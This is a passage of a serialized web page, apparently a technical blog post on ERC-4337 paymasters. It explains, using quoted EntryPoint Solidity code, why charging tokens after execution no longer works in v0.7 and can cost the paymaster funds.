",{"type":22,"tag":114,"props":106162,"children":106164},{"className":106163},[],[106165],{"type":28,"value":106166},"SEND",{"type":28,"value":12991},{"type":22,"tag":114,"props":106169,"children":106171},{"className":106170},[],[106172],{"type":28,"value":106173},"Circle",{"type":28,"value":106175}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":22,"tag":114,"props":106177,"children":106179},{"className":106178},[],[106180],{"type":28,"value":103807},{"type":28,"value":106182},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":22,"tag":74,"props":106184,"children":106185},{},[106186],{"type":28,"value":106187},"before",{"type":28,"value":106189}," execution (specifically during ",{"type":22,"tag":114,"props":106191,"children":106193},{"className":106192},[],[106194],{"type":28,"value":106020},{"type":28,"value":22702},{"type":22,"tag":1289,"props":106197,"children":106199},{"id":106198},"_2-post-execution-charging-pattern",[106200],{"type":28,"value":106201},"2. Post-Execution Charging Pattern",{"type":22,"tag":31,"props":106203,"children":106204},{},[106205,106207,106212,106214,106219,106221,106226,106228,106233],{"type":28,"value":106206},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":22,"tag":114,"props":106208,"children":106210},{"className":106209},[],[106211],{"type":28,"value":103966},{"type":28,"value":106213},", the actual token payment is calculated and collected in ",{"type":22,"tag":114,"props":106215,"children":106217},{"className":106216},[],[106218],{"type":28,"value":103977},{"type":28,"value":106220}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":22,"tag":114,"props":106222,"children":106224},{"className":106223},[],[106225],{"type":28,"value":103778},{"type":28,"value":106227},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":22,"tag":114,"props":106229,"children":106231},{"className":106230},[],[106232],{"type":28,"value":104079},{"type":28,"value":106234},". This means users could interact with the paymaster without any prior setup.",{"type":22,"tag":31,"props":106236,"children":106237},{},[106238,106240,106245,106247,106253,106255,106261,106263,106268],{"type":28,"value":106239},"This approach used to work in ",{"type":22,"tag":114,"props":106241,"children":106243},{"className":106242},[],[106244],{"type":28,"value":103859},{"type":28,"value":106246}," version ",{"type":22,"tag":114,"props":106248,"children":106250},{"className":106249},[],[106251],{"type":28,"value":106252},"v0.6",{"type":28,"value":106254},", but the pattern no longer works in ",{"type":22,"tag":114,"props":106256,"children":106258},{"className":106257},[],[106259],{"type":28,"value":106260},"v0.7",{"type":28,"value":106262},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":22,"tag":114,"props":106264,"children":106266},{"className":106265},[],[106267],{"type":28,"value":106260},{"type":28,"value":106269}," handles the execution phase:",{"type":22,"tag":107,"props":106271,"children":106273},{"className":6487,"code":106272,"language":6486,"meta":7,"style":7},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[106274],{"type":22,"tag":114,"props":106275,"children":106276},{"__ignoreMap":7},[106277,106293,106309,106329,106346,106353,106366,106390,106398,106411,106418,106425,106446,106485,106522,106534,106541,106577,106584,106605,106694,106723,106730,106743,106750,106770,106777,106798,106806,106814,106841,106869,106877,106920,106940,106953,106975,106991,107006,107013,107033,107041,107049,107057,107065,107073,107080,107087],{"type":22,"tag":118,"props":106278,"children":106279},{"class":120,"line":121},[106280,106284,106289],{"type":22,"tag":118,"props":106281,"children":106282},{"style":146},[106283],{"type":28,"value":91427},{"type":22,"tag":118,"props":106285,"children":106286},{"style":532},[106287],{"type":28,"value":106288}," _executeUserOp",{"type":22,"tag":118,"props":106290,"children":106291},{"style":125},[106292],{"type":28,"value":696},{"type":22,"tag":118,"props":106294,"children":106295},{"class":120,"line":142},[106296,106300,106305],{"type":22,"tag":118,"props":106297,"children":106298},{"style":131},[106299],{"type":28,"value":91605},{"type":22,"tag":118,"props":106301,"children":106302},{"style":204},[106303],{"type":28,"value":106304}," opIndex",{"type":22,"tag":118,"props":106306,"children":106307},{"style":125},[106308],{"type":28,"value":782},{"type":22,"tag":118,"props":106310,"children":106311},{"class":120,"line":177},[106312,106317,106321,106325],{"type":22,"tag":118,"props":106313,"children":106314},{"style":146},[106315],{"type":28,"value":106316},"        PackedUserOperation",{"type":22,"tag":118,"props":106318,"children":106319},{"style":146},[106320],{"type":28,"value":104608},{"type":22,"tag":118,"props":106322,"children":106323},{"style":204},[106324],{"type":28,"value":104613},{"type":22,"tag":118,"props":106326,"children":106327},{"style":125},[106328],{"type":28,"value":782},{"type":22,"tag":118,"props":106330,"children":106331},{"class":120,"line":195},[106332,106337,106341],{"type":22,"tag":118,"props":106333,"children":106334},{"style":146},[106335],{"type":28,"value":106336},"        UserOpInfo",{"type":22,"tag":118,"props":106338,"children":106339},{"style":146},[106340],{"type":28,"value":104676},{"type":22,"tag":118,"props":106342,"children":106343},{"style":204},[106344],{"type":28,"value":106345}," opInfo\n",{"type":22,"tag":118,"props":106347,"children":106348},{"class":120,"line":244},[106349],{"type":22,"tag":118,"props":106350,"children":106351},{"style":125},[106352],{"type":28,"value":25864},{"type":22,"tag":118,"props":106354,"children":106355},{"class":120,"line":253},[106356,106361],{"type":22,"tag":118,"props":106357,"children":106358},{"style":146},[106359],{"type":28,"value":106360},"    internal",{"type":22,"tag":118,"props":106362,"children":106363},{"style":146},[106364],{"type":28,"value":106365}," virtual\n",{"type":22,"tag":118,"props":106367,"children":106368},{"class":120,"line":263},[106369,106373,106377,106381,106386],{"type":22,"tag":118,"props":106370,"children":106371},{"style":1480},[106372],{"type":28,"value":48449},{"type":22,"tag":118,"props":106374,"children":106375},{"style":125},[106376],{"type":28,"value":842},{"type":22,"tag":118,"props":106378,"children":106379},{"style":131},[106380],{"type":28,"value":48108},{"type":22,"tag":118,"props":106382,"children":106383},{"style":204},[106384],{"type":28,"value":106385}," collected",{"type":22,"tag":118,"props":106387,"children":106388},{"style":125},[106389],{"type":28,"value":16783},{"type":22,"tag":118,"props":106391,"children":106392},{"class":120,"line":318},[106393],{"type":22,"tag":118,"props":106394,"children":106395},{"style":125},[106396],{"type":28,"value":106397},"    [...]\n",{"type":22,"tag":118,"props":106399,"children":106400},{"class":120,"line":351},[106401,106406],{"type":22,"tag":118,"props":106402,"children":106403},{"style":131},[106404],{"type":28,"value":106405},"        bool",{"type":22,"tag":118,"props":106407,"children":106408},{"style":125},[106409],{"type":28,"value":106410}," success;\n",{"type":22,"tag":118,"props":106412,"children":106413},{"class":120,"line":359},[106414],{"type":22,"tag":118,"props":106415,"children":106416},{"style":125},[106417],{"type":28,"value":33598},{"type":22,"tag":118,"props":106419,"children":106420},{"class":120,"line":368},[106421],{"type":22,"tag":118,"props":106422,"children":106423},{"style":125},[106424],{"type":28,"value":106397},{"type":22,"tag":118,"props":106426,"children":106427},{"class":120,"line":384},[106428,106432,106437,106441],{"type":22,"tag":118,"props":106429,"children":106430},{"style":1480},[106431],{"type":28,"value":60742},{"type":22,"tag":118,"props":106433,"children":106434},{"style":125},[106435],{"type":28,"value":106436}," (methodSig ",{"type":22,"tag":118,"props":106438,"children":106439},{"style":210},[106440],{"type":28,"value":302},{"type":22,"tag":118,"props":106442,"children":106443},{"style":125},[106444],{"type":28,"value":106445}," IAccountExecute.executeUserOp.selector) {\n",{"type":22,"tag":118,"props":106447,"children":106448},{"class":120,"line":417},[106449,106454,106458,106463,106467,106471,106475,106480],{"type":22,"tag":118,"props":106450,"children":106451},{"style":131},[106452],{"type":28,"value":106453},"                bytes",{"type":22,"tag":118,"props":106455,"children":106456},{"style":146},[106457],{"type":28,"value":104676},{"type":22,"tag":118,"props":106459,"children":106460},{"style":125},[106461],{"type":28,"value":106462}," executeUserOp ",{"type":22,"tag":118,"props":106464,"children":106465},{"style":210},[106466],{"type":28,"value":282},{"type":22,"tag":118,"props":106468,"children":106469},{"style":146},[106470],{"type":28,"value":105273},{"type":22,"tag":118,"props":106472,"children":106473},{"style":125},[106474],{"type":28,"value":292},{"type":22,"tag":118,"props":106476,"children":106477},{"style":532},[106478],{"type":28,"value":106479},"encodeCall",{"type":22,"tag":118,"props":106481,"children":106482},{"style":125},[106483],{"type":28,"value":106484},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":22,"tag":118,"props":106486,"children":106487},{"class":120,"line":425},[106488,106493,106497,106501,106505,106509,106513,106517],{"type":22,"tag":118,"props":106489,"children":106490},{"style":125},[106491],{"type":28,"value":106492},"                innerCall ",{"type":22,"tag":118,"props":106494,"children":106495},{"style":210},[106496],{"type":28,"value":282},{"type":22,"tag":118,"props":106498,"children":106499},{"style":146},[106500],{"type":28,"value":105273},{"type":22,"tag":118,"props":106502,"children":106503},{"style":125},[106504],{"type":28,"value":292},{"type":22,"tag":118,"props":106506,"children":106507},{"style":532},[106508],{"type":28,"value":106479},{"type":22,"tag":118,"props":106510,"children":106511},{"style":125},[106512],{"type":28,"value":540},{"type":22,"tag":118,"props":106514,"children":106515},{"style":146},[106516],{"type":28,"value":19658},{"type":22,"tag":118,"props":106518,"children":106519},{"style":125},[106520],{"type":28,"value":106521},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":22,"tag":118,"props":106523,"children":106524},{"class":120,"line":441},[106525,106529],{"type":22,"tag":118,"props":106526,"children":106527},{"style":125},[106528],{"type":28,"value":1611},{"type":22,"tag":118,"props":106530,"children":106531},{"style":1480},[106532],{"type":28,"value":106533},"else\n",{"type":22,"tag":118,"props":106535,"children":106536},{"class":120,"line":475},[106537],{"type":22,"tag":118,"props":106538,"children":106539},{"style":125},[106540],{"type":28,"value":33634},{"type":22,"tag":118,"props":106542,"children":106543},{"class":120,"line":484},[106544,106548,106552,106556,106560,106564,106568,106572],{"type":22,"tag":118,"props":106545,"children":106546},{"style":125},[106547],{"type":28,"value":106492},{"type":22,"tag":118,"props":106549,"children":106550},{"style":210},[106551],{"type":28,"value":282},{"type":22,"tag":118,"props":106553,"children":106554},{"style":146},[106555],{"type":28,"value":105273},{"type":22,"tag":118,"props":106557,"children":106558},{"style":125},[106559],{"type":28,"value":292},{"type":22,"tag":118,"props":106561,"children":106562},{"style":532},[106563],{"type":28,"value":106479},{"type":22,"tag":118,"props":106565,"children":106566},{"style":125},[106567],{"type":28,"value":540},{"type":22,"tag":118,"props":106569,"children":106570},{"style":146},[106571],{"type":28,"value":19658},{"type":22,"tag":118,"props":106573,"children":106574},{"style":125},[106575],{"type":28,"value":106576},".innerHandleOp, (callData, opInfo, context));\n",{"type":22,"tag":118,"props":106578,"children":106579},{"class":120,"line":492},[106580],{"type":22,"tag":118,"props":106581,"children":106582},{"style":125},[106583],{"type":28,"value":1827},{"type":22,"tag":118,"props":106585,"children":106586},{"class":120,"line":501},[106587,106592,106596,106601],{"type":22,"tag":118,"props":106588,"children":106589},{"style":532},[106590],{"type":28,"value":106591},"            assembly",{"type":22,"tag":118,"props":106593,"children":106594},{"style":125},[106595],{"type":28,"value":842},{"type":22,"tag":118,"props":106597,"children":106598},{"style":1866},[106599],{"type":28,"value":106600},"\"memory-safe\"",{"type":22,"tag":118,"props":106602,"children":106603},{"style":125},[106604],{"type":28,"value":16783},{"type":22,"tag":118,"props":106606,"children":106607},{"class":120,"line":519},[106608,106613,106617,106621,106625,106630,106634,106638,106642,106646,106650,106654,106659,106664,106668,106673,106678,106682,106686,106690],{"type":22,"tag":118,"props":106609,"children":106610},{"style":125},[106611],{"type":28,"value":106612},"                success ",{"type":22,"tag":118,"props":106614,"children":106615},{"style":210},[106616],{"type":28,"value":23561},{"type":22,"tag":118,"props":106618,"children":106619},{"style":532},[106620],{"type":28,"value":42902},{"type":22,"tag":118,"props":106622,"children":106623},{"style":125},[106624],{"type":28,"value":540},{"type":22,"tag":118,"props":106626,"children":106627},{"style":532},[106628],{"type":28,"value":106629},"gas",{"type":22,"tag":118,"props":106631,"children":106632},{"style":125},[106633],{"type":28,"value":20341},{"type":22,"tag":118,"props":106635,"children":106636},{"style":131},[106637],{"type":28,"value":34579},{"type":22,"tag":118,"props":106639,"children":106640},{"style":125},[106641],{"type":28,"value":20341},{"type":22,"tag":118,"props":106643,"children":106644},{"style":674},[106645],{"type":28,"value":6036},{"type":22,"tag":118,"props":106647,"children":106648},{"style":125},[106649],{"type":28,"value":231},{"type":22,"tag":118,"props":106651,"children":106652},{"style":532},[106653],{"type":28,"value":11636},{"type":22,"tag":118,"props":106655,"children":106656},{"style":125},[106657],{"type":28,"value":106658},"(innerCall, ",{"type":22,"tag":118,"props":106660,"children":106661},{"style":674},[106662],{"type":28,"value":106663},"0x20",{"type":22,"tag":118,"props":106665,"children":106666},{"style":125},[106667],{"type":28,"value":17153},{"type":22,"tag":118,"props":106669,"children":106670},{"style":532},[106671],{"type":28,"value":106672},"mload",{"type":22,"tag":118,"props":106674,"children":106675},{"style":125},[106676],{"type":28,"value":106677},"(innerCall), ",{"type":22,"tag":118,"props":106679,"children":106680},{"style":674},[106681],{"type":28,"value":6036},{"type":22,"tag":118,"props":106683,"children":106684},{"style":125},[106685],{"type":28,"value":231},{"type":22,"tag":118,"props":106687,"children":106688},{"style":674},[106689],{"type":28,"value":62287},{"type":22,"tag":118,"props":106691,"children":106692},{"style":125},[106693],{"type":28,"value":3665},{"type":22,"tag":118,"props":106695,"children":106696},{"class":120,"line":606},[106697,106702,106706,106711,106715,106719],{"type":22,"tag":118,"props":106698,"children":106699},{"style":125},[106700],{"type":28,"value":106701},"                collected ",{"type":22,"tag":118,"props":106703,"children":106704},{"style":210},[106705],{"type":28,"value":23561},{"type":22,"tag":118,"props":106707,"children":106708},{"style":532},[106709],{"type":28,"value":106710}," mload",{"type":22,"tag":118,"props":106712,"children":106713},{"style":125},[106714],{"type":28,"value":540},{"type":22,"tag":118,"props":106716,"children":106717},{"style":674},[106718],{"type":28,"value":6036},{"type":22,"tag":118,"props":106720,"children":106721},{"style":125},[106722],{"type":28,"value":3665},{"type":22,"tag":118,"props":106724,"children":106725},{"class":120,"line":615},[106726],{"type":22,"tag":118,"props":106727,"children":106728},{"style":125},[106729],{"type":28,"value":1827},{"type":22,"tag":118,"props":106731,"children":106732},{"class":120,"line":685},[106733,106738],{"type":22,"tag":118,"props":106734,"children":106735},{"style":532},[106736],{"type":28,"value":106737},"            _restoreFreePtr",{"type":22,"tag":118,"props":106739,"children":106740},{"style":125},[106741],{"type":28,"value":106742},"(saveFreePtr);\n",{"type":22,"tag":118,"props":106744,"children":106745},{"class":120,"line":699},[106746],{"type":22,"tag":118,"props":106747,"children":106748},{"style":125},[106749],{"type":28,"value":1835},{"type":22,"tag":118,"props":106751,"children":106752},{"class":120,"line":729},[106753,106757,106761,106765],{"type":22,"tag":118,"props":106754,"children":106755},{"style":1480},[106756],{"type":28,"value":5293},{"type":22,"tag":118,"props":106758,"children":106759},{"style":125},[106760],{"type":28,"value":842},{"type":22,"tag":118,"props":106762,"children":106763},{"style":210},[106764],{"type":28,"value":22581},{"type":22,"tag":118,"props":106766,"children":106767},{"style":125},[106768],{"type":28,"value":106769},"success) {\n",{"type":22,"tag":118,"props":106771,"children":106772},{"class":120,"line":771},[106773],{"type":22,"tag":118,"props":106774,"children":106775},{"style":125},[106776],{"type":28,"value":106397},{"type":22,"tag":118,"props":106778,"children":106779},{"class":120,"line":785},[106780,106784,106789,106793],{"type":22,"tag":118,"props":106781,"children":106782},{"style":1480},[106783],{"type":28,"value":60742},{"type":22,"tag":118,"props":106785,"children":106786},{"style":125},[106787],{"type":28,"value":106788}," (innerRevertCode ",{"type":22,"tag":118,"props":106790,"children":106791},{"style":210},[106792],{"type":28,"value":302},{"type":22,"tag":118,"props":106794,"children":106795},{"style":125},[106796],{"type":28,"value":106797}," INNER_OUT_OF_GAS) {\n",{"type":22,"tag":118,"props":106799,"children":106800},{"class":120,"line":804},[106801],{"type":22,"tag":118,"props":106802,"children":106803},{"style":257},[106804],{"type":28,"value":106805},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":22,"tag":118,"props":106807,"children":106808},{"class":120,"line":812},[106809],{"type":22,"tag":118,"props":106810,"children":106811},{"style":257},[106812],{"type":28,"value":106813},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":22,"tag":118,"props":106815,"children":106816},{"class":120,"line":821},[106817,106822,106827,106832,106837],{"type":22,"tag":118,"props":106818,"children":106819},{"style":1480},[106820],{"type":28,"value":106821},"                revert",{"type":22,"tag":118,"props":106823,"children":106824},{"style":532},[106825],{"type":28,"value":106826}," FailedOp",{"type":22,"tag":118,"props":106828,"children":106829},{"style":125},[106830],{"type":28,"value":106831},"(opIndex, ",{"type":22,"tag":118,"props":106833,"children":106834},{"style":1866},[106835],{"type":28,"value":106836},"\"AA95 out of gas\"",{"type":22,"tag":118,"props":106838,"children":106839},{"style":125},[106840],{"type":28,"value":682},{"type":22,"tag":118,"props":106842,"children":106843},{"class":120,"line":900},[106844,106848,106852,106856,106860,106864],{"type":22,"tag":118,"props":106845,"children":106846},{"style":125},[106847],{"type":28,"value":1611},{"type":22,"tag":118,"props":106849,"children":106850},{"style":1480},[106851],{"type":28,"value":5335},{"type":22,"tag":118,"props":106853,"children":106854},{"style":1480},[106855],{"type":28,"value":17755},{"type":22,"tag":118,"props":106857,"children":106858},{"style":125},[106859],{"type":28,"value":106788},{"type":22,"tag":118,"props":106861,"children":106862},{"style":210},[106863],{"type":28,"value":302},{"type":22,"tag":118,"props":106865,"children":106866},{"style":125},[106867],{"type":28,"value":106868}," INNER_REVERT_LOW_PREFUND) {\n",{"type":22,"tag":118,"props":106870,"children":106871},{"class":120,"line":913},[106872],{"type":22,"tag":118,"props":106873,"children":106874},{"style":257},[106875],{"type":28,"value":106876},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":22,"tag":118,"props":106878,"children":106879},{"class":120,"line":953},[106880,106884,106889,106893,106898,106902,106907,106911,106915],{"type":22,"tag":118,"props":106881,"children":106882},{"style":131},[106883],{"type":28,"value":105056},{"type":22,"tag":118,"props":106885,"children":106886},{"style":125},[106887],{"type":28,"value":106888}," actualGas ",{"type":22,"tag":118,"props":106890,"children":106891},{"style":210},[106892],{"type":28,"value":282},{"type":22,"tag":118,"props":106894,"children":106895},{"style":125},[106896],{"type":28,"value":106897}," preGas ",{"type":22,"tag":118,"props":106899,"children":106900},{"style":210},[106901],{"type":28,"value":6340},{"type":22,"tag":118,"props":106903,"children":106904},{"style":146},[106905],{"type":28,"value":106906}," gasleft",{"type":22,"tag":118,"props":106908,"children":106909},{"style":125},[106910],{"type":28,"value":2182},{"type":22,"tag":118,"props":106912,"children":106913},{"style":210},[106914],{"type":28,"value":3220},{"type":22,"tag":118,"props":106916,"children":106917},{"style":125},[106918],{"type":28,"value":106919}," opInfo.preOpGas;\n",{"type":22,"tag":118,"props":106921,"children":106922},{"class":120,"line":982},[106923,106927,106931,106935],{"type":22,"tag":118,"props":106924,"children":106925},{"style":131},[106926],{"type":28,"value":105056},{"type":22,"tag":118,"props":106928,"children":106929},{"style":125},[106930],{"type":28,"value":105703},{"type":22,"tag":118,"props":106932,"children":106933},{"style":210},[106934],{"type":28,"value":282},{"type":22,"tag":118,"props":106936,"children":106937},{"style":125},[106938],{"type":28,"value":106939}," opInfo.prefund;\n",{"type":22,"tag":118,"props":106941,"children":106942},{"class":120,"line":995},[106943,106948],{"type":22,"tag":118,"props":106944,"children":106945},{"style":532},[106946],{"type":28,"value":106947},"                _emitPrefundTooLow",{"type":22,"tag":118,"props":106949,"children":106950},{"style":125},[106951],{"type":28,"value":106952},"(opInfo);\n",{"type":22,"tag":118,"props":106954,"children":106955},{"class":120,"line":1011},[106956,106961,106966,106970],{"type":22,"tag":118,"props":106957,"children":106958},{"style":532},[106959],{"type":28,"value":106960},"                _emitUserOperationEvent",{"type":22,"tag":118,"props":106962,"children":106963},{"style":125},[106964],{"type":28,"value":106965},"(opInfo, ",{"type":22,"tag":118,"props":106967,"children":106968},{"style":146},[106969],{"type":28,"value":10179},{"type":22,"tag":118,"props":106971,"children":106972},{"style":125},[106973],{"type":28,"value":106974},", actualGasCost, actualGas);\n",{"type":22,"tag":118,"props":106976,"children":106977},{"class":120,"line":1019},[106978,106982,106986],{"type":22,"tag":118,"props":106979,"children":106980},{"style":125},[106981],{"type":28,"value":106701},{"type":22,"tag":118,"props":106983,"children":106984},{"style":210},[106985],{"type":28,"value":282},{"type":22,"tag":118,"props":106987,"children":106988},{"style":125},[106989],{"type":28,"value":106990}," actualGasCost;\n",{"type":22,"tag":118,"props":106992,"children":106993},{"class":120,"line":1028},[106994,106998,107002],{"type":22,"tag":118,"props":106995,"children":106996},{"style":125},[106997],{"type":28,"value":1611},{"type":22,"tag":118,"props":106999,"children":107000},{"style":1480},[107001],{"type":28,"value":5335},{"type":22,"tag":118,"props":107003,"children":107004},{"style":125},[107005],{"type":28,"value":1474},{"type":22,"tag":118,"props":107007,"children":107008},{"class":120,"line":1101},[107009],{"type":22,"tag":118,"props":107010,"children":107011},{"style":125},[107012],{"type":28,"value":106397},{"type":22,"tag":118,"props":107014,"children":107015},{"class":120,"line":1146},[107016,107020,107024,107029],{"type":22,"tag":118,"props":107017,"children":107018},{"style":125},[107019],{"type":28,"value":106701},{"type":22,"tag":118,"props":107021,"children":107022},{"style":210},[107023],{"type":28,"value":282},{"type":22,"tag":118,"props":107025,"children":107026},{"style":532},[107027],{"type":28,"value":107028}," _postExecution",{"type":22,"tag":118,"props":107030,"children":107031},{"style":125},[107032],{"type":28,"value":696},{"type":22,"tag":118,"props":107034,"children":107035},{"class":120,"line":1226},[107036],{"type":22,"tag":118,"props":107037,"children":107038},{"style":125},[107039],{"type":28,"value":107040},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":22,"tag":118,"props":107042,"children":107043},{"class":120,"line":1234},[107044],{"type":22,"tag":118,"props":107045,"children":107046},{"style":125},[107047],{"type":28,"value":107048},"                    opInfo,\n",{"type":22,"tag":118,"props":107050,"children":107051},{"class":120,"line":1248},[107052],{"type":22,"tag":118,"props":107053,"children":107054},{"style":125},[107055],{"type":28,"value":107056},"                    context,\n",{"type":22,"tag":118,"props":107058,"children":107059},{"class":120,"line":1257},[107060],{"type":22,"tag":118,"props":107061,"children":107062},{"style":125},[107063],{"type":28,"value":107064},"                    actualGas\n",{"type":22,"tag":118,"props":107066,"children":107067},{"class":120,"line":25765},[107068],{"type":22,"tag":118,"props":107069,"children":107070},{"style":125},[107071],{"type":28,"value":107072},"                );\n",{"type":22,"tag":118,"props":107074,"children":107075},{"class":120,"line":25778},[107076],{"type":22,"tag":118,"props":107077,"children":107078},{"style":125},[107079],{"type":28,"value":1827},{"type":22,"tag":118,"props":107081,"children":107082},{"class":120,"line":25791},[107083],{"type":22,"tag":118,"props":107084,"children":107085},{"style":125},[107086],{"type":28,"value":1835},{"type":22,"tag":118,"props":107088,"children":107089},{"class":120,"line":25804},[107090],{"type":22,"tag":118,"props":107091,"children":107092},{"style":125},[107093],{"type":28,"value":1254},{"type":22,"tag":31,"props":107095,"children":107096},{},[107097,107099,107104,107106,107112,107114,107120,107122,107128],{"type":28,"value":107098},"During execution, the ",{"type":22,"tag":114,"props":107100,"children":107102},{"className":107101},[],[107103],{"type":28,"value":103859},{"type":28,"value":107105}," contract makes a ",{"type":22,"tag":42,"props":107107,"children":107110},{"href":107108,"rel":107109},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[46],[107111],{"type":28,"value":40237},{"type":28,"value":107113}," to its own ",{"type":22,"tag":114,"props":107115,"children":107117},{"className":107116},[],[107118],{"type":28,"value":107119},"innerHandleOp",{"type":28,"value":107121}," function through a low-level ",{"type":22,"tag":114,"props":107123,"children":107125},{"className":107124},[],[107126],{"type":28,"value":107127},"call()",{"type":28,"value":107129},". This is done to create a new call context for executing the user operation.",{"type":22,"tag":31,"props":107131,"children":107132},{},[107133,107135,107141,107142,107147,107149,107156,107158,107164],{"type":28,"value":107134},"If this call fails (when ",{"type":22,"tag":114,"props":107136,"children":107138},{"className":107137},[],[107139],{"type":28,"value":107140},"success",{"type":28,"value":7511},{"type":22,"tag":114,"props":107143,"children":107145},{"className":107144},[],[107146],{"type":28,"value":10179},{"type":28,"value":107148},"), the code enters an ",{"type":22,"tag":42,"props":107150,"children":107153},{"href":107151,"rel":107152},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[46],[107154],{"type":28,"value":107155},"error handling",{"type":28,"value":107157}," flow that checks the ",{"type":22,"tag":114,"props":107159,"children":107161},{"className":107160},[],[107162],{"type":28,"value":107163},"innerRevertCode",{"type":28,"value":107165},". There are three possible paths:",{"type":22,"tag":4029,"props":107167,"children":107168},{},[107169,107193,107211],{"type":22,"tag":68,"props":107170,"children":107171},{},[107172,107173,107178,107179,107185,107187,107192],{"type":28,"value":9486},{"type":22,"tag":114,"props":107174,"children":107176},{"className":107175},[],[107177],{"type":28,"value":107163},{"type":28,"value":7511},{"type":22,"tag":114,"props":107180,"children":107182},{"className":107181},[],[107183],{"type":28,"value":107184},"INNER_OUT_OF_GAS",{"type":28,"value":107186},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":22,"tag":114,"props":107188,"children":107190},{"className":107189},[],[107191],{"type":28,"value":106836},{"type":28,"value":292},{"type":22,"tag":68,"props":107194,"children":107195},{},[107196,107197,107202,107203,107209],{"type":28,"value":9486},{"type":22,"tag":114,"props":107198,"children":107200},{"className":107199},[],[107201],{"type":28,"value":107163},{"type":28,"value":7511},{"type":22,"tag":114,"props":107204,"children":107206},{"className":107205},[],[107207],{"type":28,"value":107208},"INNER_REVERT_LOW_PREFUND",{"type":28,"value":107210},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":22,"tag":68,"props":107212,"children":107213},{},[107214,107216,107222,107224,107230],{"type":28,"value":107215},"For any other revert reason, the code will still call ",{"type":22,"tag":114,"props":107217,"children":107219},{"className":107218},[],[107220],{"type":28,"value":107221},"_postExecution()",{"type":28,"value":107223}," but with ",{"type":22,"tag":114,"props":107225,"children":107227},{"className":107226},[],[107228],{"type":28,"value":107229},"PostOpMode.postOpReverted",{"type":28,"value":107231},". This ensures proper cleanup happens even on failure.",{"type":22,"tag":31,"props":107233,"children":107234},{},[107235,107237,107242,107244,107249,107251,107256,107258,107263],{"type":28,"value":107236},"We're particularly interested in the third error path, where ",{"type":22,"tag":114,"props":107238,"children":107240},{"className":107239},[],[107241],{"type":28,"value":107163},{"type":28,"value":107243}," is neither ",{"type":22,"tag":114,"props":107245,"children":107247},{"className":107246},[],[107248],{"type":28,"value":107184},{"type":28,"value":107250}," nor ",{"type":22,"tag":114,"props":107252,"children":107254},{"className":107253},[],[107255],{"type":28,"value":107208},{"type":28,"value":107257},". To understand this case better, let's examine how ",{"type":22,"tag":114,"props":107259,"children":107261},{"className":107260},[],[107262],{"type":28,"value":107119},{"type":28,"value":107264}," works.",{"type":22,"tag":107,"props":107266,"children":107268},{"className":6487,"code":107267,"language":6486,"meta":7,"style":7},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    